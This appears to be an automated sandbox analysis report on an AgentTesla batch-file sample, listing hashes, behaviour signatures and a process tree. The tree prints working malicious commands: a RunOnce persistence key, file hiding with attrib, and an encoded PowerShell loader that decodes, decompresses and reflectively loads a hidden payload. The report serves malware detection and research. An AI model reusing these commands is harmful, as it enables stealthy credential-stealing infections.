Analysis

  • max time kernel
    93s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat

  • Size

    1.2MB

  • MD5

    3facdad0ee9326a9fe96750fd6882fec

  • SHA1

    e13554f1e181271f441d7ccea3f7df2ae3e47b86

  • SHA256

    fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9

  • SHA512

    02647213a32a323c4b2328641a1f4969ae30e66d31ca9c1629466b1ee7dfb9cb7abb08c2ab070e60a514f4167e39988eb21ffdf02c33f164e39a942b312e8244

  • SSDEEP

    24576:Ldj7jHnhLUJXBLqjfauCZB1wl9UITPPo6jNQQrccVuS8rSE1try6Q+xO7IM:h0XBe20xPg6wxJK

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9 /d "C:\Users\Admin\AppData\Roaming\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"
      2⤵
      • Adds Run key to start application
      PID:3620
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:4888
    • C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgACMAKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAjACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        3⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • outlook_office_path
        • outlook_win_path
        PID:4904
    • C:\Windows\system32\attrib.exe
      attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe
      2⤵
      • Views/modifies file attributes
      PID:2312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe

    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vl3b3ya.ubb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1764-27-0x0000000006040000-0x000000000605A000-memory.dmp

    Filesize

    104KB

  • memory/1764-24-0x0000000005B10000-0x0000000005B2E000-memory.dmp

    Filesize

    120KB

  • memory/1764-6-0x000000007514E000-0x000000007514F000-memory.dmp

    Filesize

    4KB

  • memory/1764-10-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/1764-11-0x0000000004C10000-0x0000000004C32000-memory.dmp

    Filesize

    136KB

  • memory/1764-12-0x0000000004CC0000-0x0000000004D26000-memory.dmp

    Filesize

    408KB

  • memory/1764-13-0x0000000005400000-0x0000000005466000-memory.dmp

    Filesize

    408KB

  • memory/1764-7-0x0000000004760000-0x0000000004796000-memory.dmp

    Filesize

    216KB

  • memory/1764-23-0x00000000055F0000-0x0000000005944000-memory.dmp

    Filesize

    3.3MB

  • memory/1764-29-0x0000000006F70000-0x000000000706A000-memory.dmp

    Filesize

    1000KB

  • memory/1764-25-0x0000000005B40000-0x0000000005B8C000-memory.dmp

    Filesize

    304KB

  • memory/1764-26-0x0000000007250000-0x00000000078CA000-memory.dmp

    Filesize

    6.5MB

  • memory/1764-9-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/1764-8-0x0000000004DD0000-0x00000000053F8000-memory.dmp

    Filesize

    6.2MB

  • memory/1764-28-0x0000000006DD0000-0x0000000006F72000-memory.dmp

    Filesize

    1.6MB

  • memory/1764-30-0x00000000060F0000-0x000000000610A000-memory.dmp

    Filesize

    104KB

  • memory/1764-31-0x0000000007170000-0x0000000007202000-memory.dmp

    Filesize

    584KB

  • memory/1764-40-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4904-43-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4904-36-0x0000000005930000-0x0000000005ED4000-memory.dmp

    Filesize

    5.6MB

  • memory/4904-37-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4904-35-0x0000000075140000-0x00000000758F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4904-39-0x00000000067B0000-0x00000000067BA000-memory.dmp

    Filesize

    40KB

  • memory/4904-32-0x0000000000400000-0x0000000000430000-memory.dmp

    Filesize

    192KB

  • memory/4904-41-0x0000000006860000-0x00000000068B0000-memory.dmp

    Filesize

    320KB

  • memory/4904-42-0x0000000006A80000-0x0000000006C42000-memory.dmp

    Filesize

    1.8MB

  • memory/4904-38-0x00000000065D0000-0x0000000006662000-memory.dmp

    Filesize

    584KB